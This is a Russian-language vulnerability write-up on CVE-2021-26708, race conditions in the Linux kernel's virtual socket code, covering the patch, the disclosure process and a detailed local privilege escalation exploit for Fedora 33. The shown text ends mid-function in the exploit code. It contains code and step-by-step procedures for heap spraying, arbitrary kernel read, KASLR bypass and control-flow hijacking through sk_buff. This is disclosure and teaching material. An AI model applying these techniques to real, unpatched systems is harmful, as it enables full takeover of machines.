В январе 2021 года я обнаружил и устранил пять уязвимостей в реализации виртуальных сокетов ядра Linux, которые получили идентификатор CVE-2021-26708. В этой статье я детально расскажу об эксплуатации одной из них с целью локального повышения привилегий на Fedora 33 Server для платформы x86_64. Я покажу, как с помощью небольшой ошибки доступа к памяти атакующий может получить контроль над всей операционной системой и при этом обойти средства обеспечения безопасности платформы. В заключение я расскажу про возможные средства предотвращения атаки.

С докладом по этой теме я выступил на конференции Zer0Con 2021. Получилось интересное исследование. Состояние гонки в ядре Linux приводит к порче четырех байтов в ядерной памяти, и я постепенно превращаю это в произвольное чтение/запись и полный контроль над системой. Поэтому я назвал статью «Сила четырех байтов».

А вот демонстрация прототипа эксплойта:


Уязвимости

Уязвимости CVE-2021-26708 — это состояния гонки, вызванные неправильной работой с примитивами синхронизации в net/vmw_vsock/af_vsock.c. Эти ошибки были неявно внесены в код ядра версии 5.5-rc1 в ноябре 2019 года, когда в реализацию виртуальных сокетов была добавлена поддержка нескольких типов транспорта. Эти сокеты в ядре Linux служат для общения между виртуальными машинами и гипервизором.

Уязвимый код поставляется в дистрибутивах GNU/Linux в виде модулей CONFIG_VSOCKETS и CONFIG_VIRTIO_VSOCKETS. Эти модули автоматически загружаются системой при создании сокета в домене AF_VSOCK:

    vsock = socket(AF_VSOCK, SOCK_STREAM, 0);

Создание сокета в домене AF_VSOCK доступно непривилегированным пользователям и не требует наличия функциональности user namespaces. Таким образом, виртуальные сокеты составляют часть поверхности атаки ядра Linux.

Ошибки и исправления

Для поиска уязвимостей я часто использую фаззер syzkaller с особыми доработками. 11 января я проверял результаты фаззинга ядра на своих стендах и обнаружил подозрительный отказ ядра в функции virtio_transport_notify_buffer_size(). Было странно, что фаззер не смог повторно воспроизвести этот эффект, поэтому я стал изучать исходный код и разрабатывать программу-репродюсер вручную.

Несколько дней спустя я нашел ошибку в ядерной функции vsock_stream_setsockopt(), которую словно добавили специально:

    struct sock *sk;
    struct vsock_sock *vsk;
    const struct vsock_transport *transport;

    /* ... */

    sk = sock->sk;
    vsk = vsock_sk(sk);
    transport = vsk->transport;

    lock_sock(sk);

Здесь указатель на транспорт виртуального сокета копируется в локальную переменную перед вызовом функции lock_sock(). Но ведь значение vsk->transport может измениться, когда блокировка на сокет еще не установлена! Это очевидное состояние гонки. Я проверил весь код в файле af_vsock.c и нашел еще четыре такие же ошибки.

История разработки ядра в Git помогла понять, как появились эти пять ошибок. Дело в том, что изначально транспорт виртуального сокета не мог измениться, то есть можно было безопасно копировать значение vsk->transport в локальную переменную. Но потом в коммитах c0cfa2d8a788fcf4 и 6a2c0962105ae8ce для виртуальных сокетов была добавлена поддержка нескольких видов транспорта, и это неявно внесло в ядро сразу пять состояний гонки.

Исправить эти уязвимости очень просто:

 	sk = sock->sk;
 	vsk = vsock_sk(sk);
-	transport = vsk->transport;
 
 	lock_sock(sk);
 
+	transport = vsk->transport;

Ответственное разглашение, которое пошло не так

30 января, после того как закончил прототип эксплойта, я отправил информацию об уязвимостях и исправление (патч) по адресу security@kernel.org, то есть выполнил процедуру ответственного разглашения (responsible disclosure). Мне оперативно ответили Линус Торвальдс и Грег Кроа-Хартман, и мы договорились о следующем порядке действий.

  1. Я отправляю исправляющий патч в открытый список рассылки ядра Linux (Linux Kernel Mailing List, LKML).
  2. Патч применяют в основном ядре и стабильных версиях, которые были подвержены уязвимостям.
  3. Я уведомляю производителей GNU/Linux-дистрибутивов через список рассылки linux-distros о том, что данное исправление важно для безопасности системы.
  4. Наконец, я публично разглашаю информацию об уязвимостях через список рассылки oss-security@lists.openwall.com, когда производители дистрибутивов позволят это сделать.

На самом деле первый пункт довольно спорный. Линус решил принять мой патч сразу, без эмбарго на разглашение (disclosure embargo), потому что «этот патч не сильно отличается от патчей, которые мы принимаем каждый день» (the patch doesn't look all that different from the kinds of patches we do every day). Я подчинился, но предложил отправить патч открыто. Это важно, потому что иначе каждый может отследить исправления безопасности, если отфильтрует коммиты, которые не обсуждались в публичном списке рассылки. Недавно эта техника была рассмотрена в одной исследовательской работе.

2 февраля вторая версия моего патча была принята в ветку netdev/net.git и оттуда попала в ветку Линуса. 4 февраля Грег применил мое исправление в стабильных ветках ядра, которые были подвержены уязвимостям. Сразу после этого я уведомил linux-distros@vs.openwall.org, что исправленные уязвимости можно эксплуатировать для локального повышения привилегий в системе. Я спросил, сколько потребуется времени, прежде чем я сделаю публичное разглашение информации об уязвимостях. Но я получил неожиданный ответ:

    If the patch is committed upstream, then the issue is public.

    Please send to oss-security immediately.

То есть меня попросили немедленно раскрыть информацию о найденных и исправленных уязвимостях в публичном списке рассылки oss-security. Странно. Как бы то ни было, я запросил идентификатор CVE через сервис https://cve.mitre.org/cve/request_id.html и отправил письмо в список рассылки oss-security@lists.openwall.com.

Возникает вопрос: насколько эта практика немедленного принятия патча в ванильное ядро совместима с работой организаций в linux-distros?

У меня есть контрпример. Когда я обнаружил ядерную уязвимость CVE-2017-2636 и выполнил ответственное разглашение, Кейс Кук (Kees Cook) и Грег организовали недельное эмбарго на разглашение информации. Мы уведомили организации из linux-distros, и за эту неделю они подготовили обновления безопасности дистрибутивных ядер, в которые вошел мой исправляющий патч. Затем, по окончании эмбарго, производители GNU/Linux-дистрибутивов синхронно выпустили обновления безопасности. Получилось хорошо.

Как портится ядерная память

Теперь рассмотрим эксплуатацию уязвимостей CVE-2021-26708. Для локального повышения привилегий в системе я выбрал состояние гонки в функции vsock_stream_setsockopt(). Для того чтобы воспроизвести эту ошибку, требуется два потока. В первом потоке вызывается setsockopt():

    setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
				&size, sizeof(unsigned long));

Этот поток сохраняет указатель на виртуальный транспорт в локальную переменную (в этом заключается ошибка), а затем пытается захватить блокировку виртуального сокета в функции vsock_stream_setsockopt(). В этот момент второй поток должен поменять транспорт виртуального сокета. Для этого нужно к нему переподключиться:

    struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
    };

    addr.svm_cid = VMADDR_CID_LOCAL;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

    addr.svm_cid = VMADDR_CID_HYPERVISOR;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

При обработке системного вызова connect() для виртуального сокета ядро выполняет функцию vsock_stream_connect(), которая держит блокировку виртуального сокета. А тем временем vsock_stream_setsockopt() в первом потоке пытается эту блокировку захватить. Отлично, это то, что нужно для состояния гонки. При этом функция vsock_stream_connect() вызывает vsock_assign_transport(), которая содержит интересующий нас код:

    if (vsk->transport) {
        if (vsk->transport == new_transport)
            return 0;

        /* transport->release() must be called with sock lock acquired.
         * This path can only be taken during vsock_stream_connect(),
         * where we have already held the sock lock.
         * In the other cases, this function is called on a new socket
         * which is not assigned to any transport.
         */
        vsk->transport->release(vsk);
        vsock_deassign_transport(vsk);
    }

Что происходит в этом коде? Второй вызов connect() выполняется с новым значением svm_cid, поэтому для предыдущего виртуального транспорта выполняется деструктор vsock_deassign_transport(). Он вызывает функцию virtio_transport_destruct(), в которой структура vsock_sock.trans освобождается и указатель vsk->transport устанавливается в NULL.

После этого vsock_stream_connect() отпускает блокировку виртуального сокета, а функция vsock_stream_setsockopt() в первом потоке наконец-то может ее захватить и продолжить исполнение. Далее в первом потоке вызываются vsock_update_buffer_size() и transport->notify_buffer_size(). Но указатель transport содержит устаревшее неактуальное значение из локальной переменной, оно не соответствует vsk->transport, где записан NULL. Поэтому ядро по ошибке выполняет обработчик virtio_transport_notify_buffer_size(), который портит ядерную память:

void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

    vvs->buf_alloc = *val;

    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}

Здесь vvs — это указатель на ядерную память, которая была освобождена в функции virtio_transport_destruct(). Размер этой структуры struct virtio_vsock_sock — 64 байта; данный объект живет в общем кэше аллокатора kmalloc-64. Поле buf_alloc, в которое происходит ошибочная запись, имеет тип u32 и расположено по отступу 40 байт от начала структуры. VIRTIO_VSOCK_MAX_BUF_SIZE имеет значение 0xFFFFFFFFUL и не мешает атаке. Значение *val контролируется атакующим, и четыре младших байта *val записываются в освобожденную ядерную память. То есть эта уязвимость приводит к записи после освобождения.

Загадка фаззинга

Как я уже упоминал, фаззер syzkaller не смог воспроизвести эту ошибку в ядре и я был вынужден писать программу-репродюсер вручную. Почему же так произошло? Взгляд на код функции vsock_update_buffer_size() может дать ответ на этот вопрос:

    if (val != vsk->buffer_size &&
      transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);

    vsk->buffer_size = val;

Здесь обработчик notify_buffer_size() вызывается, только если значение val отличается от текущего buffer_size. Другими словами, системный вызов setsockopt(), выполняющий операцию SO_VM_SOCKETS_BUFFER_SIZE, должен вызываться каждый раз с новым значением параметра size. Я добился этого эффекта в моем первом репродюсере (исходный код) с помощью забавного трюка:

    struct timespec tp;
    unsigned long size = 0;

    clock_gettime(CLOCK_MONOTONIC, &tp);
    size = tp.tv_nsec;
    setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
				&size, sizeof(unsigned long));

Здесь значение параметра size берется из счетчика наносекунд, который возвращает функция clock_gettime(), и это значение с большой вероятностью отличается от предыдущего на каждой очередной попытке спровоцировать состояние гонки в ядре. Оригинальный syzkaller без модификаций не может так сделать. Значения для параметров системных вызовов выбираются, когда syzkaller генерирует ввод для фаззинга, и они не изменяются во время самого фаззинга на целевой системе.

Как бы то ни было, я до сих пор до конца не понимаю, как syzkaller смог спровоцировать этот отказ ядра ¯\_(ツ)_/¯ Похоже, фаззер сотворил какое-то многопоточное «волшебство» с операциями SO_VM_SOCKETS_BUFFER_MAX_SIZE и SO_VM_SOCKETS_BUFFER_MIN_SIZE, но затем не смог его снова воспроизвести.

Идея! Возможно, добавление способности рандомизировать аргументы системных вызовов в процессе самого фаззинга позволит фаззеру syzkaller находить больше ошибок типа CVE-2021-26708. С другой стороны, это может и ухудшить стабильность повторного воспроизведения уже найденных отказов ядра.

Сила четырех байтов

В этом исследовании я выбрал объектом атаки Fedora 33 Server с ядром Linux версии 5.10.11-200.fc33.x86_64. С самого начала я нацелился обойти SMEP и SMAP (аппаратные средства защиты платформы x86_64).

Итак, это состояние гонки может спровоцировать запись четырех контролируемых байтов в освобожденный 64-байтовый ядерный объект по отступу 40. Это очень ограниченный примитив эксплуатации, я преодолел большие трудности, чтобы превратить его в полный контроль над системой. Далее я расскажу, как разработал прототип эксплойта, в хронологическом порядке.

Эти иллюстрации я сделал из фотографий экспонатов Государственного Эрмитажа. Замечательный музей!

Первым делом я начал работать над стабильной техникой heap spraying. Ее суть в том, что эксплойт должен выполнить такие действия в пользовательском пространстве, которые заставят ядро выделить новый объект на месте освобожденной 64-байтовой структуры virtio_vsock_sock. В этом случае ошибочная запись после освобождения virtio_vsock_sock испортит четыре байта в этом новом объекте, что может быть полезно для развития атаки.

Сначала я провел быстрый эксперимент с heap spraying при помощи системного вызова add_key(). Я выполнил его несколько раз сразу после второго вызова connect(), который освободил структуру virtio_vsock_sock. Трассировка ядра через ftrace помогла убедиться, что освобожденная область памяти снова была аллоцирована. Другими словами, стало ясно, что для этого случая вполне применима техника heap spraying.

Следующим шагом в моей стратегии эксплуатации этой уязвимости было найти 64-байтовый объект, который способен дать более сильный эксплойт-примитив, если переписать в нем четыре байта по отступу 40 байт от его начала. Ух… Не так-то просто!

Моя первая идея была применить технику перезаписи iovec из эксплойта Bad Binder, который опубликовали Мэдди Стоун (Maddie Stone) и Ян Хорн (Jann Horn). Этот метод состоит в том, что аккуратно испорченный ядерный объект iovec может дать произвольное чтение/запись ядерной памяти. Но эта идея у меня трижды провалилась:

  1. 64-байтовый объект iovec выделяется в ядерном стеке, а не в куче, как необходимо для атаки.
  2. Четыре байта по отступу 40 переписывают поле iovec.iov_len вместо iovec.iov_base, поэтому оригинальный способ здесь неприменим.
  3. Эта техника с перезаписью iovec была устранена в ядре начиная с версии 4.13. Великолепный Ал Виро (Al Viro) сделал это в коммите 09fc68dc66f7597b в июне 2017 года:
    we have *NOT* done access_ok() recently enough; we rely upon the
    iovec array having passed sanity checks back when it had been created
    and not nothing having buggered it since.  However, that's very much
    non-local, so we'd better recheck that.
    

После изнурительных экспериментов с несколькими другими ядерными объектами, пригодными для heap spraying, я наконец нашел системный вызов msgsnd(). При его обработке в пространстве ядра создается структура msg_msg. Вот вывод утилиты pahole для нее:

struct msg_msg {
	struct list_head           m_list;               /*     0    16 */
	long int                   m_type;               /*    16     8 */
	size_t                     m_ts;                 /*    24     8 */
	struct msg_msgseg *        next;                 /*    32     8 */
	void *                     security;             /*    40     8 */

	/* size: 48, cachelines: 1, members: 5 */
	/* last cacheline: 48 bytes */
};

В сущности, это заголовок сообщения, за которым следуют данные. Если структура msgbuf в пользовательском пространстве имеет 16 байт в mtext, то соответствующая ей ядерная структура msg_msg создается в кэше аллокатора kmalloc-64, как и уязвимый объект virtio_vsock_sock. Перезапись четырех байтов по отступу 40 портит младшую часть указателя void *security. Таким образом, в эксплойте я использую поле security, чтобы сломать Linux security. Такая ирония.

Указатель msg_msg.security ссылается на память в ядерной куче, которая выделяется в функции lsm_msg_msg_alloc(). В случае Fedora она используется подсистемой безопасности SELinux. Освобождается эта память в функции security_msg_msg_free() при приеме сообщения msg_msg. То есть перезапись эксплойтом младшей части указателя security (платформа x86_64 хранит байты в порядке от младшего к старшему) может дать новый, более мощный примитив эксплуатации — освобождение произвольного адреса, или arbitrary free.


Infoleak в качестве бонуса

Получив примитив освобождения произвольного адреса, я стал думать, против какого ядерного объекта его можно применить. И здесь я воспользовался трюком из моего эксплойта для CVE-2019-18683. Как я уже упоминал, повторный системный вызов connect() выполняет функцию vsock_deassign_transport(), которая записывает NULL в vsk->transport. Это приводит к тому, что далее в функции vsock_stream_setsockopt() ядро выводит предупреждение (kernel warning):

WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
  virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
  vsock_update_buffer_size+0x5f/0x70 [vsock]
  vsock_stream_setsockopt+0x128/0x270 [vsock]
...

Это предупреждение возникает сразу после записи в освобожденную ядерную память. Это большая удача для атакующего, ведь на Fedora непривилегированный пользователь может читать ядерный журнал /dev/kmsg.

С помощью отладчика GDB я установил, что значение регистра RCX, которое ядро выдает в этом предупреждении, — это адрес освобожденного объекта virtio_vsock_sock, а значение RBX — адрес объекта vsock_sock. Отлично! Как только в ядерном журнале появилось очередное такое предупреждение, атакующий знает, что эксплойт снова спровоцировал состояние гонки, а из распечатанных значений регистров можно извлечь нужные ядерные адреса.


От освобождения произвольного адреса к использованию после освобождения

Далее я планировал превратить примитив освобождения произвольного адреса в использование после освобождения (use-after-free). Для этого я собирался:

  1. Освободить ядерный объект, используя адрес из предупреждения в ядерном журнале.
  2. Выполнить heap spraying, чтобы перезаписать освобожденный объект контролируемыми данными.
  3. Поднять привилегии эксплойта с помощью этого испорченного ядерного объекта.

Сначала я попробовал освободить память, принадлежащую vsock_sock (его адрес утек через регистр RBX), потому что это большой ядерный объект со множеством интересных данных. Но все объекты vsock_sock выделяются в отдельном кэше аллокатора, для которого нет возможности использовать стандартную технику heap spraying.

Поэтому я решил выполнять освобождение памяти по адресу из регистра RCX. Я стал искать 64-байтовый объект ядра, который содержит адреса и другие данные, полезные для эксплуатации use-after-free. Более того, эксплойт должен иметь возможность выполнить в пользовательском пространстве действие, которое спровоцирует создание этого ядерного объекта на месте освобожденного virtio_vsock_sock. Поиск такого особого объекта в ядре Linux был очень долгим и изнурительным. Я даже использовал для этого сгенерированный фаззером набор программ, чтобы как-то автоматизировать мой поиск.

Параллельно с этим я продолжал изучать, как именно ядро Linux обрабатывает сообщения System V, так как объекты msg_msg уже использовались в этом эксплойте для heap spraying. И тут мне пришла замечательная идея, как переиспользовать msg_msg для эксплуатации use-after-free.

Произвольное чтение ядерной памяти

В ядерной реализации сообщений System V определен максимальный размер сообщения DATALEN_MSG, который равен PAGE_SIZE минус sizeof(struct msg_msg)). Если отправить сообщение большего размера, не поместившиеся данные сохраняются в связном списке сегментов. Для этого структура msg_msg содержит поле struct msg_msgseg *next, которое указывает на первый сегмент, и поле size_t m_ts, в котором хранится суммарный размер данных в сообщении.

Отлично! Я могу разместить контролируемые данные в msg_msg.m_ts и msg_msg.next, когда я перезаписываю сообщение после того, как использую против него примитив произвольного освобождения памяти.

Здесь важно отметить, что я не переписываю поле msg_msg.security, чтобы не сломать проверку разрешений подсистемы SELinux. Это возможно, если использовать замечательную технику setxattr() & userfaultfd() heap spraying, которую опубликовал Виталий Николенко. Подсказка: я располагаю полезную нагрузку для heap spraying на границе страниц так, чтобы ядерная функция copy_from_user() остановилась с отказом страницы (page fault) прямо перед перезаписью поля msg_msg.security. Вот как выглядит часть эксплойта, которая подготавливает эту полезную нагрузку:

#define PAYLOAD_SZ 40

void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
{
    struct msg_msg *msg_ptr;

    xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0xa5, PAGE_SIZE * 4);

    printf("[+] adapt the msg_msg spraying payload:\n");
    msg_ptr = (struct msg_msg *)xattr_addr;
    msg_ptr->m_type = 0x1337;
    msg_ptr->m_ts = ARB_READ_SZ;
    msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
    printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
           msg_ptr,
           msg_ptr->m_type, &(msg_ptr->m_type),
           msg_ptr->m_ts, &(msg_ptr->m_ts),
           msg_ptr->next, &(msg_ptr->next));
}

Но как же вычитать ядерные данные с помощью этого атакованного msg_msg? Прием такого сообщения требует манипуляций с очередью сообщений System V, а это приводит к отказу ядра из-за испорченного указателя msg_msg.m_list, в который я записал 0xa5a5a5a5a5a5a5a5 (мне недоступно его корректное значение). Сначала мне в голову пришла идея просто записать в этот указатель адрес другого сообщения msg_msg, но от этого ядро зависло, потому что проход по связному списку очереди сообщений System V не смог завершиться.

Изучение документации на системный вызов msgrcv() помогло найти рабочее решение: я воспользовался msgrcv() с флагом MSG_COPY:

MSG_COPY (начиная с Linux 3.8)
        Забирает копию сообщения без удаления из начальной позиции в очереди,
	заданной в msgtyp (сообщения нумеруются начиная с 0).

С этим флагом ядро копирует данные сообщения в пользовательское пространство без удаления из очереди сообщений. Это то, что нужно! Флаг MSG_COPY доступен в ядре, если оно собрано с опцией CONFIG_CHECKPOINT_RESTORE=y, что выполняется для Fedora Server.


Произвольное чтение: пошаговая процедура

Вот как выглядит пошаговая процедура, с помощью которой мой эксплойт выполняет чтение произвольной ядерной памяти:

  1. Подготовить атаку:
    • Вычислить количество доступных CPU с помощью sched_getaffinity() и CPU_COUNT() (для эксплуатации этой уязвимости требуется не менее двух CPU).
    • Открыть ядерный журнал /dev/kmsg для отслеживания предупреждений ядра.
    • Используя mmap(), выделить память для spray_data и установить userfaultfd() на конец этого региона памяти.
    • Запустить отдельный поток (pthread) для обработки событий userfaultfd().
    • Запустить 127 потоков для выполнения setxattr() & userfaultfd() heap spraying и остановить их ждать на барьере pthread_barrier.
  2. Получить ядерный адрес исправного сообщения msg_msg. Для этого:
    • Достичь состояния гонки на виртуальном сокете, как было описано выше.
    • Подождать 35 микросекунд после второго системного вызова connect(), в котором ядро освобождает объект virtio_vsock_sock.
    • Вызвать msgsnd() для отдельной очереди сообщений; ядро помещает msg_msg на место освобожденного объекта virtio_vsock_sock уже после порчи ядерной памяти из-за этой задержки в 35 микросекунд.
    • Вычитать предупреждение в ядерном журнале и сохранить ядерный адрес созданного объекта msg_msg (содержится в регистре RCX). Еще раз отмечу, что данные этого сообщения не были испорчены из-за уязвимости, это важно для дальнейшего развития атаки.
    • Сохранить ядерный адрес структуры vsock_sock из регистра RBX.
  3. Освободить память исправного объекта msg_msg с помощью испорченного объекта msg_msg. Для этого:
    • Использовать четыре байта адреса исправного msg_msg в качестве значения SO_VM_SOCKETS_BUFFER_SIZE; эти четыре байта будут использованы при порче памяти — записаны в освобожденную ядерную память.
    • Достичь состояния гонки на виртуальном сокете.
    • Вызвать msgsnd() сразу после второго системного вызова connect(); ядро помещает сообщение msg_msg на место освобожденного объекта virtio_vsock_sock и портит четыре байта в его поле msg_msg.security.
    • Теперь указатель security испорченного сообщения msg_msg содержит адрес исправного сообщения msg_msg (из шага 2).


    • Если перезапись msg_msg.security из потока, выполняющего setsockopt(), происходит во время обработки системного вызова msgsnd(), то проверка разрешения SELinux завершается неуспешно.
    • В этом случае системный вызов msgsnd() возвращает -1, а испорченное сообщение msg_msg уничтожается. Таким образом, освобождение памяти, на которую указывает испорченный указатель msg_msg.security, приводит к освобождению исправного сообщения msg_msg, которое было создано на втором шаге.
  4. Перезаписать исправное сообщение msg_msg контролируемыми данными. Для этого:
    • Сразу после системного вызова msgsnd(), который вернул -1, эксплойт вызывает pthread_barrier_wait() и тем самым пробуждает 127 потоков для heap spraying, которые ждут на барьере.
    • Эти потоки выполняют setxattr() с полезной нагрузкой, подготовленной в функции adapt_xattr_vs_sysv_msg_spray(vsock_kaddr), которая была описана выше.
    • Теперь освобожденное исправное сообщение msg_msg перезаписывается контролируемыми данными так, что его поле msg_msg.next, указывающее на сегмент сообщения System V, содержит адрес ядерного объекта vsock_sock (был взят из регистра RBX на шаге 2).


  5. Вычитать содержимое ядерного объекта vsock_sock в пользовательское пространство. Для этого эксплойт выполняет прием модифицированного сообщения msg_msg из отдельной очереди, в которой оно было создано:
    ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
                    IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
    

Эта часть эксплойта работает очень надежно.

Разбираем добычу

Чтение произвольной ядерной памяти принесло эксплойту хорошую добычу: содержимое ядерного объекта vsock_sock. Эти данные атакующий может использовать для дальнейшего развития атаки.


Вот что интересного я нашел внутри vsock_sock:

  • Множество указателей на объекты из отдельных кэшей аллокатора (dedicated slab caches), например PINGv6 и sock_inode_cache. Я не смог придумать, как использовать их для развития атаки.
  • Указатель struct mem_cgroup *sk_memcg, который располагается в структуре vsock_sock.sk по отступу 664 байта. Объекты типа mem_cgroup создаются ядром в общем кэше аллокатора kmalloc-4k. А это подходит!
  • Указатель const struct cred *owner, который располагается в структуре vsock_sock по отступу 840 байт. Он содержит адрес дескриптора привилегий (credentials) для процесса моего эксплойта. Эксплойт должен модифицировать этот дескриптор, чтобы повысить свои привилегии в системе. В этом состоит цель атаки.
  • Указатель на функцию void (*sk_write_space)(struct sock *), который располагается в структуре vsock_sock.sk по отступу 688 байт. В нем содержится адрес ядерной функции sock_def_write_space(). Этим можно воспользоваться для вычисления секретного значения KASLR, которое влияет на расположение кода ядра в виртуальной памяти системы.

Далее представлен код, выделяющий нужные адреса из данных, которые эксплойт вычитал из ядерной памяти:

#define MSG_MSG_SZ		48
#define DATALEN_MSG 		(PAGE_SIZE - MSG_MSG_SZ)
#define SK_MEMCG_OFFSET 	664
#define SK_MEMCG_RD_LOCATION	(DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET	840
#define OWNER_CRED_RD_LOCATION	(DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET	688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET)

/*
 * From Linux kernel 5.10.11-200.fc33.x86_64:
 *   function pointer for calculating KASLR secret
 */
#define SOCK_DEF_WRITE_SPACE	0xffffffff819851b0lu

unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
			sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
			owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
			sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
    printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);

Структура cred выделяется ядром Linux в отдельном кэше аллокатора, который называется cred_jar. Если бы я использовал мой примитив освобождения произвольной памяти против структуры cred, я бы не смог перезаписать ее контролируемыми данными (по крайней мере, я не знаю, как это сделать). Жаль, это было бы идеальным завершением атаки.

Поэтому я сфокусировался на атаке объекта mem_cgroup. Я попробовал вызвать для него освобождение памяти, но ядро Linux после этого моментально ушло в отказ (kernel panic). К сожалению, оказалось, что ядро очень интенсивно использует этот объект. Снова неудача. Но тут я вспомнил про один из моих старых проверенных трюков для повышения привилегий в системе.

Старый трюк с объектом sk_buff

В моем прототипе эксплойта для уязвимости CVE-2017-2636 в ядре Linux я превратил двойное освобождение памяти из кэша аллокатора kmalloc-8192 в использование после освобождения для объекта sk_buff. Я решил повторить этот трюк снова.

Сетевой пакет в ядре Linux существует в виде объекта sk_buff. В конце такого объекта размещается структура skb_shared_info, содержащая указатель destructor_arg, которым атакующий может воспользоваться для перехвата потока управления в ядре. Сетевые данные и структура skb_shared_info размещены в единой области ядерной памяти (на нее указывает sk_buff.head). Причем создание в пользовательском пространстве сетевого пакета размером 2800 байт приводит к размещению skb_shared_info в кэше аллокатора kmalloc-4k, где также живет наш объект mem_cgroup, адрес которого удалось прочитать на предыдущем шаге атаки.

Я придумал такую процедуру для перехвата потока управления через деструктор в sk_buff:

  1. Создать один клиентский сокет и 32 серверных сокета с помощью socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP).
  2. Подготовить в пользовательском пространстве сетевой буфер размером 2800 байт и заполнить его значением 0x42 с помощью memset().
  3. Отправить этот буфер с клиентского сокета на каждый серверный сокет с помощью sendto(). Это приводит к созданию соответствующих объектов sk_buff в кэше аллокатора kmalloc-4k. Причем такую операцию нужно выполнить на каждом доступном CPU, что возможно сделать с использованием sched_setaffinity(). Это важный момент, так как аллокатор имеет отдельный кэш под каждый CPU.
  4. Выполнить процедуру чтения произвольной ядерной памяти для объекта vsock_sock (описано выше). Извлечь адреса struct mem_cgroup *sk_memcg, struct cred *owner и секрет KASLR.
  5. Вычислить возможный адрес одного из созданных объектов sk_buff как адрес sk_memcg плюс 4096 (следующий элемент в кэше аллокатора kmalloc-4k). Я предполагаю, что ядро расположит sk_memcg и один из моих sk_buff рядом друг с другом.
  6. Выполнить процедуру чтения произвольной ядерной памяти по предполагаемому адресу sk_buff.
  7. Если удалось прочитать 0x4242424242424242lu, значит был найден настоящий sk_buff и можно переходить к шагу 8. В противном случае следует добавить к предполагаемому адресу sk_buff еще 4096 и перейти к шагу 6.
  8. Запустить 32 потока для выполнения setxattr() & userfaultfd() heap spraying для найденного объекта sk_buff и остановить их на pthread_barrier.
  9. Выполнить произвольное освобождение ядерной памяти по адресу найденного sk_buff.
  10. Пробудить 32 ожидающих потока с помощью вызова pthread_barrier_wait(). Они выполнят системный вызов setxattr(), перезаписывающий skb_shared_info контролируемыми данными.
  11. Принять сетевые данные на всех 32 серверных сокетах с помощью recv(). При приеме пакета в одном из них произойдет перехват потока управления в ядре.

Когда ядро обрабатывает прием sk_buff с перезаписанной структурой skb_shared_info, оно вызывает деструктор, на который ссылается destructor_arg. Подготовленный деструктор выполняет произвольную запись ядерной памяти (arbitrary write) и повышение привилегий эксплойта в системе. Как? Это я описываю в следующем разделе.

Здесь нужно отметить, что use-after-free на объекте sk_buff — это главный источник нестабильности в эксплойте. Было бы здорово найти иной объект ядра, создающийся в kmalloc-4k, для которого можно более надежно эксплуатировать ошибку использования после освобождения.

Произвольная запись ядерной памяти через skb_shared_info

Взглянем на часть кода эксплойта, в которой подготавливаются данные для перезаписи объекта sk_buff:

#define SKB_SIZE		4096
#define SKB_SHINFO_OFFSET	3776
#define MY_UINFO_OFFSET		256
#define SKBTX_DEV_ZEROCOPY	(1 << 3)

void prepare_xattr_vs_skb_spray(void)
{
    struct skb_shared_info *info = NULL;

